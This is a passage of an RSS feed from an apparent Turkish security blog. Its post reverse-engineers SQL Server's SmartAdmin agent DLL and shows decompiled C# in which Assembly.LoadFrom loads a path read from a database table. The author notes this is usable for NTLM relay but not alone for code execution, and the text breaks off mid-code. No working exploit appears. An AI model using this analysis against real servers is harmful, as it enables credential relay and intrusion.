<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
  <channel>
    <title>C# on exploit7</title>
    <link>https://exploit7.tr/tags/c%23/</link>
    <description>Recent content in C# on exploit7</description>
    <generator>Hugo -- gohugo.io</generator>
    <language>tr-TR</language>
    <lastBuildDate>Fri, 11 Oct 2024 11:00:00 +0400</lastBuildDate><atom:link href="https://exploit7.tr/tags/c%23/index.xml" rel="self" type="application/rss+xml" />
    <item>
      <title>Sql Server Sad Agent</title>
      <link>https://exploit7.tr/posts/sqlserver/</link>
      <pubDate>Fri, 11 Oct 2024 11:00:00 +0400</pubDate>
      
      <guid>https://exploit7.tr/posts/sqlserver/</guid>
      <description>&lt;h2 id=&#34;sql-server-sad-agent&#34;&gt;Sql Server Sad Agent&lt;/h2&gt;
&lt;p&gt;Sql server hepimizin bildigi Microsoft tarafindan gelistirilen veritabani yonetim sistemidir.&lt;/p&gt;
&lt;h3 id=&#34;sad-agent&#34;&gt;Sad Agent&lt;/h3&gt;
&lt;p&gt;Sql serverda birden fazla ozellik vardir bunlardan biri olan &lt;code&gt;Sql Agent&lt;/code&gt; bugun onu inceleyecegiz. Sql Agent veritabani yonetimi ile ilgili zamanlanmis islemleri otomatize eden bir aractir.&lt;/p&gt;
&lt;h3 id=&#34;microsoftsqlautoadminsqlautoadmin&#34;&gt;Microsoft.SqlAutoAdmin.SqlAutoAdmin&lt;/h3&gt;
&lt;p&gt;Sql Agent islemlerini yapan dll &lt;code&gt;Microsoft.SqlAutoAdmin.SqlAutoAdmin.dll&lt;/code&gt; bu dll &lt;code&gt;smartbackup&lt;/code&gt;,&lt;code&gt;jobs&lt;/code&gt; vs ozellikleri barindiran dll.&lt;/p&gt;
&lt;h3 id=&#34;loadtaskagentassembly&#34;&gt;LoadTaskAgentAssembly&lt;/h3&gt;
&lt;p&gt;SmartAdminManager&amp;rsquo;de bulunan &lt;code&gt;LoadTaskAgentAssembly&lt;/code&gt; metoduna bakalim.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-csharp&#34; data-lang=&#34;csharp&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;private&lt;/span&gt; Assembly LoadTaskAgentAssembly(SmartAdminManager.TaskAgentDescriptor taskAgentDescriptor)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;		{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			Assembly assembly = &lt;span style=&#34;color:#66d9ef&#34;&gt;null&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#66d9ef&#34;&gt;string&lt;/span&gt; text = taskAgentDescriptor.binaryName;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (!&lt;span style=&#34;color:#66d9ef&#34;&gt;string&lt;/span&gt;.IsNullOrEmpty(taskAgentDescriptor.binaryPath))
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				text = taskAgentDescriptor.binaryPath + &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;\\&amp;#34;&lt;/span&gt; + text;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#66d9ef&#34;&gt;try&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#66d9ef&#34;&gt;this&lt;/span&gt;.DebugLog(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;SmartAdminManager: Trying to load task assembly from &amp;#34;&lt;/span&gt; + text + &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;\n&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				assembly = Assembly.LoadFrom(text);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#66d9ef&#34;&gt;catch&lt;/span&gt; (FileNotFoundException)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#66d9ef&#34;&gt;this&lt;/span&gt;.DebugLog(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;SmartAdminManager: Assembly not found at &amp;#34;&lt;/span&gt; + text + &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;\n&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (&lt;span style=&#34;color:#66d9ef&#34;&gt;null&lt;/span&gt; == assembly)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				FileInfo fileInfo = &lt;span style=&#34;color:#66d9ef&#34;&gt;new&lt;/span&gt; FileInfo(Assembly.GetExecutingAssembly().Location);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				text = fileInfo.DirectoryName + &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;\\&amp;#34;&lt;/span&gt; + taskAgentDescriptor.binaryName;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#66d9ef&#34;&gt;try&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;					&lt;span style=&#34;color:#66d9ef&#34;&gt;this&lt;/span&gt;.DebugLog(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;SmartAdminManager: Trying again to load task assembly from &amp;#34;&lt;/span&gt; + text + &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;\n&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;					assembly = Assembly.LoadFrom(text);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#66d9ef&#34;&gt;catch&lt;/span&gt; (FileNotFoundException)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;					&lt;span style=&#34;color:#66d9ef&#34;&gt;this&lt;/span&gt;.DebugLog(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;SmartAdminManager: Assembly not found at &amp;#34;&lt;/span&gt; + text + &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;\n&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (&lt;span style=&#34;color:#66d9ef&#34;&gt;null&lt;/span&gt; != assembly)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;					taskAgentDescriptor.binaryPath = fileInfo.DirectoryName;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;					&lt;span style=&#34;color:#66d9ef&#34;&gt;this&lt;/span&gt;.UpdateTaskAgentPath(taskAgentDescriptor);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; assembly;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;		}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Burada kodu incelemeye baslamadan once dikkat etmemiz gereken &lt;code&gt;TaskAgentDescriptor&lt;/code&gt; nested struct var onda da bakalim.&lt;/p&gt;</description>
      <content>&lt;h2 id=&#34;sql-server-sad-agent&#34;&gt;Sql Server Sad Agent&lt;/h2&gt;
&lt;p&gt;Sql server hepimizin bildigi Microsoft tarafindan gelistirilen veritabani yonetim sistemidir.&lt;/p&gt;
&lt;h3 id=&#34;sad-agent&#34;&gt;Sad Agent&lt;/h3&gt;
&lt;p&gt;Sql serverda birden fazla ozellik vardir bunlardan biri olan &lt;code&gt;Sql Agent&lt;/code&gt; bugun onu inceleyecegiz. Sql Agent veritabani yonetimi ile ilgili zamanlanmis islemleri otomatize eden bir aractir.&lt;/p&gt;
&lt;h3 id=&#34;microsoftsqlautoadminsqlautoadmin&#34;&gt;Microsoft.SqlAutoAdmin.SqlAutoAdmin&lt;/h3&gt;
&lt;p&gt;Sql Agent islemlerini yapan dll &lt;code&gt;Microsoft.SqlAutoAdmin.SqlAutoAdmin.dll&lt;/code&gt; bu dll &lt;code&gt;smartbackup&lt;/code&gt;,&lt;code&gt;jobs&lt;/code&gt; vs ozellikleri barindiran dll.&lt;/p&gt;
&lt;h3 id=&#34;loadtaskagentassembly&#34;&gt;LoadTaskAgentAssembly&lt;/h3&gt;
&lt;p&gt;SmartAdminManager&amp;rsquo;de bulunan &lt;code&gt;LoadTaskAgentAssembly&lt;/code&gt; metoduna bakalim.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-csharp&#34; data-lang=&#34;csharp&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;private&lt;/span&gt; Assembly LoadTaskAgentAssembly(SmartAdminManager.TaskAgentDescriptor taskAgentDescriptor)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;		{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			Assembly assembly = &lt;span style=&#34;color:#66d9ef&#34;&gt;null&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#66d9ef&#34;&gt;string&lt;/span&gt; text = taskAgentDescriptor.binaryName;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (!&lt;span style=&#34;color:#66d9ef&#34;&gt;string&lt;/span&gt;.IsNullOrEmpty(taskAgentDescriptor.binaryPath))
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				text = taskAgentDescriptor.binaryPath + &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;\\&amp;#34;&lt;/span&gt; + text;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#66d9ef&#34;&gt;try&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#66d9ef&#34;&gt;this&lt;/span&gt;.DebugLog(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;SmartAdminManager: Trying to load task assembly from &amp;#34;&lt;/span&gt; + text + &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;\n&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				assembly = Assembly.LoadFrom(text);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#66d9ef&#34;&gt;catch&lt;/span&gt; (FileNotFoundException)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#66d9ef&#34;&gt;this&lt;/span&gt;.DebugLog(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;SmartAdminManager: Assembly not found at &amp;#34;&lt;/span&gt; + text + &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;\n&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (&lt;span style=&#34;color:#66d9ef&#34;&gt;null&lt;/span&gt; == assembly)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				FileInfo fileInfo = &lt;span style=&#34;color:#66d9ef&#34;&gt;new&lt;/span&gt; FileInfo(Assembly.GetExecutingAssembly().Location);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				text = fileInfo.DirectoryName + &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;\\&amp;#34;&lt;/span&gt; + taskAgentDescriptor.binaryName;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#66d9ef&#34;&gt;try&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;					&lt;span style=&#34;color:#66d9ef&#34;&gt;this&lt;/span&gt;.DebugLog(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;SmartAdminManager: Trying again to load task assembly from &amp;#34;&lt;/span&gt; + text + &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;\n&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;					assembly = Assembly.LoadFrom(text);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#66d9ef&#34;&gt;catch&lt;/span&gt; (FileNotFoundException)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;					&lt;span style=&#34;color:#66d9ef&#34;&gt;this&lt;/span&gt;.DebugLog(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;SmartAdminManager: Assembly not found at &amp;#34;&lt;/span&gt; + text + &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;\n&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (&lt;span style=&#34;color:#66d9ef&#34;&gt;null&lt;/span&gt; != assembly)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;					taskAgentDescriptor.binaryPath = fileInfo.DirectoryName;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;					&lt;span style=&#34;color:#66d9ef&#34;&gt;this&lt;/span&gt;.UpdateTaskAgentPath(taskAgentDescriptor);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; assembly;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;		}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Burada kodu incelemeye baslamadan once dikkat etmemiz gereken &lt;code&gt;TaskAgentDescriptor&lt;/code&gt; nested struct var onda da bakalim.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-csharp&#34; data-lang=&#34;csharp&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	&lt;span style=&#34;color:#66d9ef&#34;&gt;private&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;struct&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;TaskAgentDescriptor&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;		{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#75715e&#34;&gt;// Token: 0x040000CC RID: 204&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#66d9ef&#34;&gt;public&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;string&lt;/span&gt; binaryName;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#75715e&#34;&gt;// Token: 0x040000CD RID: 205&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#66d9ef&#34;&gt;public&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;string&lt;/span&gt; binaryPath;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#75715e&#34;&gt;// Token: 0x040000CE RID: 206&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#66d9ef&#34;&gt;public&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;string&lt;/span&gt; className;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;		}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ol&gt;
&lt;li&gt;Assembly assembly = null; olarak tanimlaniyor.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;taskAgentDescriptor.binaryName&lt;/code&gt; degeri text degiskenine ataniyor.&lt;/li&gt;
&lt;li&gt;Eger &lt;code&gt;binaryPath&lt;/code&gt; bos degilse &lt;code&gt;binaryPath + &amp;quot;\\&amp;quot;+ text&lt;/code&gt; birlestiriliyor.&lt;/li&gt;
&lt;li&gt;ardindan &lt;code&gt;Assembly.LoadFrom&lt;/code&gt; ile binary cagiriliyor.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Onemli nokta &lt;code&gt;Assembly.LoadFrom&lt;/code&gt; ama tek basina rce icin yeterli degil (ntlm relay vs icin yeterlidir.)&lt;/p&gt;
&lt;h3 id=&#34;loadtaskagentassembly-trace&#34;&gt;LoadTaskAgentAssembly Trace&lt;/h3&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-csharp&#34; data-lang=&#34;csharp&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Microsoft.SqlServer.SmartAdmin.SmartAdminManager.LoadTaskAgentAssembly(SmartAdminManager.TaskAgentDescriptor) : Assembly &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;@&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;060000D7&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;		Microsoft.SqlServer.SmartAdmin.SmartAdminManager.Run() : &lt;span style=&#34;color:#66d9ef&#34;&gt;void&lt;/span&gt; &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;@&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;060000D9&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				Microsoft.SqlServer.SmartAdmin.SmartAdminManager.Start(INativeServices) : &lt;span style=&#34;color:#66d9ef&#34;&gt;bool&lt;/span&gt; &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;@&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;060000D4&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;gettaskagentdescriptors&#34;&gt;GetTaskAgentDescriptors&lt;/h3&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-csharp&#34; data-lang=&#34;csharp&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;private&lt;/span&gt; SmartAdminManager.TaskAgentDescriptor[] GetTaskAgentDescriptors()
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;		{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			SmartAdminManager.TaskAgentDescriptor[] array = &lt;span style=&#34;color:#66d9ef&#34;&gt;null&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#66d9ef&#34;&gt;this&lt;/span&gt;.DebugLog(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;TaskMetadataService.GetTasks: Getting SqlConnectivity Service.\n&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#66d9ef&#34;&gt;try&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#66d9ef&#34;&gt;this&lt;/span&gt;.DebugLog(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;GetTaskAgentDescriptors: Getting Sql connection.\n&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#66d9ef&#34;&gt;int&lt;/span&gt; num = &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#66d9ef&#34;&gt;using&lt;/span&gt; (SqlConnection privateConnection = &lt;span style=&#34;color:#66d9ef&#34;&gt;this&lt;/span&gt;.sqlConnectivityService.GetPrivateConnection(&lt;span style=&#34;color:#66d9ef&#34;&gt;false&lt;/span&gt;))
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;					&lt;span style=&#34;color:#66d9ef&#34;&gt;this&lt;/span&gt;.DebugLog(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;GetTaskAgentDescriptors: Getting number of tasks to execute.\n&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;					&lt;span style=&#34;color:#66d9ef&#34;&gt;using&lt;/span&gt; (SqlCommand sqlCommand = &lt;span style=&#34;color:#66d9ef&#34;&gt;new&lt;/span&gt; SqlCommand(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;SELECT COUNT(*) FROM autoadmin_task_agents&amp;#34;&lt;/span&gt;, privateConnection))
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;					{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;						&lt;span style=&#34;color:#66d9ef&#34;&gt;using&lt;/span&gt; (SqlDataReader sqlDataReader = sqlCommand.ExecuteReader())
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;						{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;							&lt;span style=&#34;color:#66d9ef&#34;&gt;while&lt;/span&gt; (sqlDataReader.Read())
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;							{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;								array = &lt;span style=&#34;color:#66d9ef&#34;&gt;null&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;								array = &lt;span style=&#34;color:#66d9ef&#34;&gt;new&lt;/span&gt; SmartAdminManager.TaskAgentDescriptor[sqlDataReader.GetInt32(&lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;)];
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;							}
